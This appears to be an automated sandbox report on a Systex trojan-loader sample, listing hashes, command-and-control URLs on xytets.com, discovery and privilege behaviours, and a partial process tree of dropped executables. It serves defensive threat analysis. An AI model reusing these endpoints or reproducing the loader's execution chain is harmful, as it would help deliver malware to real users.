systex | 93d906dc7801593128174c91923bb47cff6baaac86dd7e420702d05ddf8ca342

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/10/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample261009-thq3jsca67
SHA256 93d906dc7801593128174c91923bb47cff6baaac86dd7e420702d05ddf8ca342
MD5 44df418fbdad81eb1fce83659b57407b
SHA1 1d5a525e812494a619d95af1c7c078cada529e9a
SHA512 3da439d6212e523a486363eae0b480efdc15a1c1c77c982bf3a5c03707b1520de5a9453de780c183e5f93704bc086ae474842e067fb9b536c5e05d721d9fbf22
SSDEEP 3072:ejyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:wyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1D7847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3479F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4868	tomgeywrojgbztro.exe
4640	tomgeywrojgbztro.sys
4440	CreateProcess.exe
2236	wtolgeywqo.exe
936	CreateProcess.exe
900	CreateProcess.exe
4796	i_wtolgeywqo.exe
5844	ljdbvtolgd.sys
3188	CreateProcess.exe
2376	dbytqoigay.exe
5536	CreateProcess.exe
6112	CreateProcess.exe
3252	i_dbytqoigay.exe
1416	nifdyvtnlg.sys
3436	CreateProcess.exe
4076	aysqicavsn.exe
4316	CreateProcess.exe
1688	CreateProcess.exe
2144	i_aysqicavsn.exe
616	nlfdavtnlf.sys
2184	CreateProcess.exe
5064	nifdxvtnlf.exe
1700	CreateProcess.exe
4060	CreateProcess.exe
3288	i_nifdxvtnlf.exe
5100	xsmkfcxvpn.sys
1924	CreateProcess.exe
3672	vpnkfcxusm.exe
2816	CreateProcess.exe
2712	CreateProcess.exe
4592	i_vpnkfcxusm.exe
2056	smkhczxrpk.sys
2268	CreateProcess.exe
2468	upnhfzxrpk.exe
4488	CreateProcess.exe
3108	CreateProcess.exe
3264	i_upnhfzxrpk.exe
1808	rpmhfcxupm.sys
4556	CreateProcess.exe
5964	rmkecwuomj.exe
2852	CreateProcess.exe
3528	CreateProcess.exe
1548	i_rmkecwuomj.exe
5828	ezwromjebz.sys
1448	CreateProcess.exe
2476	jhezwuojhe.exe
756	CreateProcess.exe
4208	CreateProcess.exe
4740	i_jhezwuojhe.exe
5668	trljebwtom.sys
4456	CreateProcess.exe
4912	omgebwuolj.exe
2832	CreateProcess.exe
4924	CreateProcess.exe
5980	i_omgebwuolj.exe
2708	ljdbytqlig.sys
4108	CreateProcess.exe
5888	lgeywqoigb.exe
5400	CreateProcess.exe
2964	CreateProcess.exe
2808	i_lgeywqoigb.exe
2412	dbvtqolgdb.sys
960	CreateProcess.exe
3644	yvtnlidavt.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_346472502\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_1938132887\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_1766219526\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_1766219526\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_2129379887\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_2129379887\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_1938132887\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_2129379887\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4800_2129379887\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wromgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnkigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomgeywrojgbztro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aysqicavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhezwuojhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupnkfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kecwupmhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aysqicavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmkecwuomj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trojgeytqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbytqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgeywqoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgeywqoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlfdbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbytqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifdxvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupnkfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wromgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnkigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vpnkfcxusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vpnkfcxusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmkecwuomj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yvtnlidavt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_yvtnlidavt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kecwupmhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upnhfzxrpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhezwuojhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgebwuolj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgebwuolj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvsnkfcax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwupmhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwupmhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvsnkfcax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trojgeytqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlfdbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifdxvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upnhfzxrpk.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4848	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4168	ipconfig.exe
1816	ipconfig.exe
1716	ipconfig.exe
2944	ipconfig.exe
2972	ipconfig.exe
4888	ipconfig.exe
2964	ipconfig.exe
2600	ipconfig.exe
348	ipconfig.exe
5480	ipconfig.exe
1340	ipconfig.exe
4980	ipconfig.exe
1640	ipconfig.exe
5056	ipconfig.exe
4660	ipconfig.exe
4784	ipconfig.exe
3260	ipconfig.exe
3288	ipconfig.exe
3644	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-461973139-3212354679-1508698038-1000\{BC61876B-E0B3-4BCB-AF74-65E9B27FB214}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4868	tomgeywrojgbztro.exe
4868	tomgeywrojgbztro.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4868	tomgeywrojgbztro.exe
4868	tomgeywrojgbztro.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4868	tomgeywrojgbztro.exe
4868	tomgeywrojgbztro.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4868	tomgeywrojgbztro.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4868	tomgeywrojgbztro.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4800	msedge.exe
4800	msedge.exe
4800	msedge.exe
4800	msedge.exe
4800	msedge.exe
4800	msedge.exe
4800	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	i_wtolgeywqo.exe
Token: SeDebugPrivilege	3252	i_dbytqoigay.exe
Token: SeDebugPrivilege	2144	i_aysqicavsn.exe
Token: SeDebugPrivilege	3288	i_nifdxvtnlf.exe
Token: SeDebugPrivilege	4592	i_vpnkfcxusm.exe
Token: SeDebugPrivilege	3264	i_upnhfzxrpk.exe
Token: SeDebugPrivilege	1548	i_rmkecwuomj.exe
Token: SeDebugPrivilege	4740	i_jhezwuojhe.exe
Token: SeDebugPrivilege	5980	i_omgebwuolj.exe
Token: SeDebugPrivilege	2808	i_lgeywqoigb.exe
Token: SeDebugPrivilege	1940	i_yvtnlidavt.exe
Token: SeDebugPrivilege	5544	i_avsnkigays.exe
Token: SeDebugPrivilege	6108	i_dxvsnkfcax.exe
Token: SeDebugPrivilege	4100	i_cxupnkfzxs.exe
Token: SeDebugPrivilege	6092	i_kecwupmhez.exe
Token: SeDebugPrivilege	3216	i_cwupmhezxr.exe
Token: SeDebugPrivilege	4560	i_wromgeywro.exe
Token: SeDebugPrivilege	5332	i_trojgeytqo.exe
Token: SeDebugPrivilege	4264	i_tnlfdbvtnl.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4800	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 4868	4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 4084 wrote to memory of 5868	4084	2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 5868 wrote to memory of 4800	5868	iexplore.exe	91
PID 4800 wrote to memory of 3164	4800	msedge.exe	92
PID 4800 wrote to memory of 4848	4800	msedge.exe	94
PID 4800 wrote to memory of 3624	4800	msedge.exe	95
PID 4800 wrote to memory of 5912	4800	msedge.exe	96
PID 4800 wrote to memory of 3624	4800	msedge.exe	95
PID 4800 wrote to memory of 3624	4800	msedge.exe	95
PID 4800 wrote to memory of 5912	4800	msedge.exe	96
PID 4800 wrote to memory of 1448	4800	msedge.exe	97
PID 4800 wrote to memory of 3672	4800	msedge.exe	98
PID 4800 wrote to memory of 1448	4800	msedge.exe	97
PID 4800 wrote to memory of 1448	4800	msedge.exe	97
PID 4800 wrote to memory of 3672	4800	msedge.exe	98
PID 4800 wrote to memory of 3672	4800	msedge.exe	98
PID 4800 wrote to memory of 3688	4800	msedge.exe	99
PID 4800 wrote to memory of 1432	4800	msedge.exe	100
PID 4800 wrote to memory of 3688	4800	msedge.exe	99
PID 4800 wrote to memory of 3688	4800	msedge.exe	99
PID 4800 wrote to memory of 1432	4800	msedge.exe	100
PID 4800 wrote to memory of 1432	4800	msedge.exe	100
PID 4800 wrote to memory of 2776	4800	msedge.exe	102
PID 4800 wrote to memory of 2776	4800	msedge.exe	102
PID 4800 wrote to memory of 1116	4800	msedge.exe	105
PID 4800 wrote to memory of 1116	4800	msedge.exe	105
PID 4800 wrote to memory of 1116	4800	msedge.exe	105
PID 4868 wrote to memory of 4440	4868	tomgeywrojgbztro.exe	106
PID 2236 wrote to memory of 936	2236	wtolgeywqo.exe	109
PID 4800 wrote to memory of 4688	4800	msedge.exe	112
PID 4800 wrote to memory of 4688	4800	msedge.exe	112
PID 4800 wrote to memory of 4688	4800	msedge.exe	112
PID 4800 wrote to memory of 252	4800	msedge.exe	113
PID 4800 wrote to memory of 5480	4800	msedge.exe	114
PID 4800 wrote to memory of 252	4800	msedge.exe	113
PID 4800 wrote to memory of 5480	4800	msedge.exe	114
PID 4800 wrote to memory of 4516	4800	msedge.exe	116
PID 4800 wrote to memory of 1396	4800	msedge.exe	117
PID 4800 wrote to memory of 1396	4800	msedge.exe	117
PID 4800 wrote to memory of 4472	4800	msedge.exe	120
PID 4800 wrote to memory of 4472	4800	msedge.exe	120
PID 4868 wrote to memory of 900	4868	tomgeywrojgbztro.exe	121
PID 4868 wrote to memory of 3188	4868	tomgeywrojgbztro.exe	125
PID 2376 wrote to memory of 5536	2376	dbytqoigay.exe	127
PID 4868 wrote to memory of 6112	4868	tomgeywrojgbztro.exe	130
PID 4868 wrote to memory of 3436	4868	tomgeywrojgbztro.exe	134
PID 4076 wrote to memory of 4316	4076	aysqicavsn.exe	136
PID 4868 wrote to memory of 1688	4868	tomgeywrojgbztro.exe	139
PID 4868 wrote to memory of 2184	4868	tomgeywrojgbztro.exe	144
PID 5064 wrote to memory of 1700	5064	nifdxvtnlf.exe	146
PID 4868 wrote to memory of 4060	4868	tomgeywrojgbztro.exe	149
PID 4800 wrote to memory of 1332	4800	msedge.exe	151
PID 4800 wrote to memory of 756	4800	msedge.exe	152
PID 4800 wrote to memory of 5732	4800	msedge.exe	153
PID 4868 wrote to memory of 1924	4868	tomgeywrojgbztro.exe	156
PID 3672 wrote to memory of 2816	3672	vpnkfcxusm.exe	158
PID 4868 wrote to memory of 2712	4868	tomgeywrojgbztro.exe	161
PID 4868 wrote to memory of 2268	4868	tomgeywrojgbztro.exe	165
PID 2468 wrote to memory of 4488	2468	upnhfzxrpk.exe	167
PID 4868 wrote to memory of 3108	4868	tomgeywrojgbztro.exe	170
PID 4868 wrote to memory of 4556	4868	tomgeywrojgbztro.exe	174
PID 5964 wrote to memory of 2852	5964	rmkecwuomj.exe	176
PID 4868 wrote to memory of 3528	4868	tomgeywrojgbztro.exe	179
PID 4868 wrote to memory of 1448	4868	tomgeywrojgbztro.exe	183

C:\Users\Admin\AppData\Local\Temp\2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-08_44df418fbdad81eb1fce83659b57407b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Temp\tomgeywrojgbztro.exe
  C:\Temp\tomgeywrojgbztro.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtolgeywqo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4440
  - - C:\Temp\wtolgeywqo.exe
      C:\Temp\wtolgeywqo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2236
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:936
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtolgeywqo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:900
  - - C:\Temp\i_wtolgeywqo.exe
      C:\Temp\i_wtolgeywqo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4796
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbytqoigay.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3188
  - - C:\Temp\dbytqoigay.exe
      C:\Temp\dbytqoigay.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2376
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5536
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4660
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbytqoigay.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6112
  - - C:\Temp\i_dbytqoigay.exe
      C:\Temp\i_dbytqoigay.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3252
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\aysqicavsn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3436
  - - C:\Temp\aysqicavsn.exe
      C:\Temp\aysqicavsn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4316
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_aysqicavsn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1688
  - - C:\Temp\i_aysqicavsn.exe
      C:\Temp\i_aysqicavsn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2144
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nifdxvtnlf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2184
  - - C:\Temp\nifdxvtnlf.exe
      C:\Temp\nifdxvtnlf.exe ups_run
